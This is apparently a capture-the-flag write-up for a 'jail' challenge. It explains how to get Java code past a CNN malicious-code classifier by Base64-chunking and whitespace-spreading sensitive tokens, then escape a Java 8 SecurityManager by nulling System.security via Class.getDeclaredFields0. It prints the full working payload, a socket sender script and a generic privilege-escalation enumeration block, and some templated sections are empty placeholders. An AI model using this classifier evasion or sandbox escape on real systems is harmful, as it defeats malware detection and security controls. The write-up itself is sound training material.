jail
jail
Platform: Uiuctf2026 | Category: Misc | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-08 | Status: Solved Techniques: cnn_maxpool_ngram_evasion, base64_string_chunking, whitespace_token_spreading, securitymanager_escape, reflection_field_filter_bypass, getdeclaredfields0, system_security_nulling
Summary
Task: paste a Java class over ncat --ssl; a CNN malicious-code classifier must score <0.1, then the code runs under a strict Java 8 SecurityManager. Solution: evade the max-pool CNN by Base64-chunking and whitespace-spreading all sensitive tokens, then escape the sandbox by nulling java.lang.System.security via the reflection-field-filter bypass Class.getDeclaredFields0.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
uiuctf2026| ID:20260808_uiuctf2026_jail - Tags: sandbox_escape, base64, nsjail, reflection, adversarial_ml, cnn_evasion, java_securitymanager, openjdk8, kctf
- Indicators: ML malicious-code detector gates Java submission, AdaptiveMaxPool1d(1) over char-embedding conv features, JailSecurityManager blocks setSecurityManager, getDeclaredField(\security") throws NoSuchFieldException on OpenJDK 8", checkPackageAccess throws only for sun.*
- Source:
20260808_uiuctf2026_jail.md
Foothold
Vulnerability / Misconfiguration
- Cnn_maxpool_ngram_evasion
- Base64_string_chunking
- Whitespace_token_spreading
- Securitymanager_escape
- Reflection_field_filter_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- cnn_maxpool_ngram_evasion
- base64_string_chunking
- whitespace_token_spreading
- securitymanager_escape
- reflection_field_filter_bypass
- getdeclaredfields0
- system_security_nulling
- Tags: sandbox_escape, base64, nsjail, reflection, adversarial_ml, cnn_evasion, java_securitymanager, openjdk8, kctf
Original Writeup
<details><summary>Click to expand original content</summary>Description
Java Sandbox Runner. Paste a Java class over
ncat --ssl <host> 1337, terminated by a lineDONE. The server runs the source through an ML "malicious code detector" before compiling and running it under a SecurityManager. Read/flag.
Two independent gates must be beaten in a single submission:
- A CNN "malicious code detector" must score the source
sigmoid(logit) < 0.1. - The accepted source runs as
UserClass.run()under a restrictive Java 8SecurityManagerthat blocks every direct file read. Goal: read/flag(root-owned).
Connection: ncat --ssl jail-<id>.chal.uiuc.tf 1337 (kCTF/nsjail instance, PoW disabled, per-session hostname).
Recon
Gate 1 — the ML classifier (main.py + model.py)
main.py reads source lines until DONE, then:
source_tensor = torch.tensor(list(source.encode("utf8"))).unsqueeze(0)
logits = model(source_tensor)
if torch.sigmoid(logits) >= 0.1:
print("malicious code detected"); exit()
MaliciousDetection architecture (model.py):
nn.Embedding(257, 32, padding_idx=256)— each source byte becomes a 32-dim vector.- Four parallel
Conv1dover the embedding, kernel sizes 3, 5, 10, 20 →ReLU. AdaptiveMaxPool1d(1)on each — a global max over all sequence positions.- concat 4×64 = 256 features →
Dropout→Linear(256, 1)→ logit.
Critical property: because of the global AdaptiveMaxPool1d(1), the score is driven by the single strongest n-gram activation anywhere in the source. Adding benign padding or comments cannot lower the peak. To reduce the score you must physically remove the triggering byte n-grams.
Empirical scoring (via score.py / ablate2.py):
System.out.println(1+1)→ ~0.0007 (benign).new FileReader("/flag")→ ~0.42; fully naive reflective escape → 0.997.- Single bytes:
'/'~0.9997,'F'~0.99. Dominant triggers:"/flag","FileReader"/"File","setAccessible(true)","getDeclaredField",".set(null, null)". - Comma-separated decimal char-code arrays are worse (digit runs score ~0.96).
- Whitespace-spreading tokens (
a . b ( )instead ofa.b()) helps — it shatters the dense 10- and 20-byte convolution windows. - Base64 blobs mildly trigger, but chunking a Base64 string into 4-char quoted pieces joined by
+shatters those windows too.
Gate 2 — Java 8 SecurityManager (Jail.java)
System.setSecurityManager(new JailSecurityManager()); UserClass.run();
JailSecurityManager throws on almost everything (checkExec, checkWrite, checkDelete, checkConnect, checkCreateClassLoader, checkListen, checkAccept, checkAccess, checkLink, checkRead(FileDescriptor), …). Partial checks:
checkPermission(perm): throws only if the permission issetSecurityManager. Everything else —suppressAccessChecks(i.e.setAccessible(true)),accessDeclaredMembers, property reads — is allowed.checkRead(String file): allowed only iffile.equals("/tmp/UserClass.class"); every other path throws.checkPackageAccess(pkg): throws only ifpkg.startsWith("sun"). Sojava.lang.*reflection is allowed;sun.misc.Unsafereflection is blocked.
Environment (Dockerfile): Ubuntu 22.04 + openjdk-8-jdk; flag at /flag (root); working dir /tmp.
Key insight
- Every direct file read is blocked (
FileInputStream,Files.readAllBytes,RandomAccessFile,file://URL, NIO channels,checkRead(FileDescriptor)). The only path to/flagis to disable the SecurityManager first. System.setSecurityManager(null)is blocked (setSecurityManagerpermission).- Classic escape: reflectively null the private static field
java.lang.System.security(private static volatile SecurityManager).setAccessible(true)is allowed bycheckPermission, and a plain field write has no SM hook. Once null,getSecurityManager()==nulland all checks stop. - The twist (confirmed on the live target):
System.class.getDeclaredField("security")throwsNoSuchFieldException. OpenJDK 8 applies a reflection field filter (sun.reflect.Reflection.registerFieldsToFilter) that hidesjava.lang.System.security(andClass.classLoader) fromgetDeclaredField/getDeclaredFields. EnumeratingSystem's fields on the target returned onlyin, out, err, cons, props, lineSeparator— nosecurity. Reproduced locally onliberica-1.8.0_345. - Field-filter bypass:
Class.getDeclaredFields0(boolean)is a private native method ofjava.lang.Class(packagejava.lang, allowed bycheckPackageAccess) that returns the unfiltered field array. Call it reflectively to recover the hiddensecurityfield,setAccessible(true),set(null, null), then read/flagviaFileInputStream.
This was validated end-to-end on real OpenJDK 8 (liberica-1.8.0_345) with local/FullTest.java, a faithful JailSecurityManager replica, which printed the local test flag.
Exploitation
SecurityManager escape (runtime logic)
Method gdf0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
gdf0.setAccessible(true);
Field[] fields = (Field[]) gdf0.invoke(System.class, false); // unfiltered
// find field named "security", setAccessible(true), set(null, null)
// then new FileInputStream("/flag") read loop -> System.out
Classifier evasion (how the source scores 0.041 < 0.1)
- Put all sensitive method/field-name strings into one
|-joined blob:getDeclaredFields0|security|setAccessible|set|java.io.FileInputStream|/flag|getName|getDeclaredMethod|invoke|getMethod|forName|read|write|flush|getConstructor|newInstance. - Base64-encode it, then split the Base64 text into 4-character quoted pieces joined by
+in the Java source ("Z2V0" + "RGVj" + …). No CNN window (≤20 bytes) ever sees a long suspicious substring. - At runtime, decode Base64 and
split("[|]")to recover the names arrayn[]. - A single generic reflection helper performs every reflective call, so identifiers like
setAccessible/getDeclaredMethod/getNamenever appear as source tokens — onlygetMethod+invokeappear literally (weak signal). All method names come from the decoded blob:
static Object c(Object o, Class<?> cl, String nm, Class<?>[] pt, Object[] ar) throws Exception {
Method mm = cl.getMethod(nm, pt); return mm.invoke(o, ar);
}
- Everything is whitespace-spread (
a . b ( )) to break residual dense windows. run()wraps the body intry/catch(Throwable)so it declares no checked exceptions.Jail.maincallsUserClass.run()without athrowsclause, so athrows Exceptiononrun()makesJail.javafail to compile (unreported exception Exception) — an actual bug hit during solving and fixed here.
Dead ends
getDeclaredField("security")— blocked by the OpenJDK 8 field filter (the whole reasongetDeclaredFields0is needed).- Nashorn /
ScriptEngineManagerlauncher (hide the malicious logic in a Base64 JS string andevalit, so only benign bytes are scored): classifier-wise it worked (~0.01) but fails at runtime —ScriptEngineManagerusesServiceLoader, which reads jar files, hittingcheckRead(String)→SecurityExceptionreading.../resources.jar. sun.misc.Unsafevia reflection — blocked bycheckPackageAccess("sun").System.setSecurityManager(null)— blocked (setSecurityManagerpermission).- Earlier simpler evasion: XOR-encode sensitive string literals with a single byte key (sweep 1..127, key 5 best) + whitespace-spread reached ~0.085 for a
getDeclaredField("security")reader — but that reader is defeated by the field filter, forcing the move togetDeclaredFields0+ the Base64-blob approach.
Final payload (UserClass_final.java)
import java.lang.reflect.* ;
public class UserClass {
static Object c ( Object o , Class < ? > cl , String nm , Class < ? > [] pt , Object [] ar ) throws Exception {
Method mm = cl . getMethod ( nm , pt ) ;
return mm . invoke ( o , ar ) ;
}
public static void run ( ) {
try {
String [] n = new String ( java . util . Base64 . getDecoder ( ) . decode ( "Z2V0" + "RGVj" + "bGFy" + "ZWRG" + "aWVs" + "ZHMw" + "fHNl" + "Y3Vy" + "aXR5" + "fHNl" + "dEFj" + "Y2Vz" + "c2li" + "bGV8" + "c2V0" + "fGph" + "dmEu" + "aW8u" + "Rmls" + "ZUlu" + "cHV0" + "U3Ry" + "ZWFt" + "fC9m" + "bGFn" + "fGdl" + "dE5h" + "bWV8" + "Z2V0" + "RGVj" + "bGFy" + "ZWRN" + "ZXRo" + "b2R8" + "aW52" + "b2tl" + "fGdl" + "dE1l" + "dGhv" + "ZHxm" + "b3JO" + "YW1l" + "fHJl" + "YWR8" + "d3Jp" + "dGV8" + "Zmx1" + "c2h8" + "Z2V0" + "Q29u" + "c3Ry" + "dWN0" + "b3J8" + "bmV3" + "SW5z" + "dGFu" + "Y2U=" ) ) . split ( "[|]" ) ;
Class < ? > [] BT = new Class [] { boolean . class } ;
Class < ? > CC = Class . class ;
Object p = c ( CC , CC , n [ 7 ] , new Class [] { String . class , Class [] . class } , new Object [] { n [ 0 ] , BT } ) ;
c ( p , p . getClass ( ) , n [ 2 ] , BT , new Object [] { true } ) ;
Object fsO = c ( p , p . getClass ( ) , n [ 8 ] , new Class [] { Object . class , Object [] . class } , new Object [] { System . class , new Object [] { false } } ) ;
Object [] fs = ( Object [] ) fsO ;
Object g = null ;
for ( Object q : fs ) {
Object nm = c ( q , q . getClass ( ) , n [ 6 ] , new Class [ 0 ] , new Object [ 0 ] ) ;
if ( nm . equals ( n [ 1 ] ) ) g = q ;
}
c ( g , g . getClass ( ) , n [ 2 ] , BT , new Object [] { true } ) ;
c ( g , g . getClass ( ) , n [ 3 ] , new Class [] { Object . class , Object . class } , new Object [] { null , null } ) ;
Object ins = Class . forName ( n [ 4 ] ) . getConstructor ( String . class ) . newInstance ( n [ 5 ] ) ;
java . io . InputStream st = ( java . io . InputStream ) ins ;
int x ;
while ( ( x = st . read ( ) ) >= 0 )
System . out . write ( x ) ;
System . out . flush ( ) ;
} catch ( Throwable t ) {
t . printStackTrace ( ) ;
}
}
}
n[] indices: 0=getDeclaredFields0, 1=security, 2=setAccessible, 3=set, 4=java.io.FileInputStream, 5=/flag, 6=getName, 7=getDeclaredMethod, 8=invoke. Line 12 reflectively fetches Class.getDeclaredMethod("getDeclaredFields0", boolean[]); line 14 invokes it on System.class to get unfiltered fields; lines 17–19 locate security; lines 21–22 setAccessible(true) then set(null, null); line 23 opens /flag and the loop streams it to stdout.
How to run
Pipe the payload followed by a DONE line over the SSL socket:
# solve.py (essence)
import ssl, socket
data = open("UserClass_final.java","rb").read() + b"\nDONE\n"
ctx = ssl._create_unverified_context()
s = ctx.wrap_socket(socket.create_connection((HOST, 1337)))
s.sendall(data)
print(s.recv(65536).decode())
The classifier scores ~0.041 (< 0.1), the server compiles UserClass.java + Jail.java, runs java Jail, the escape nulls System.security, and /flag is printed.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR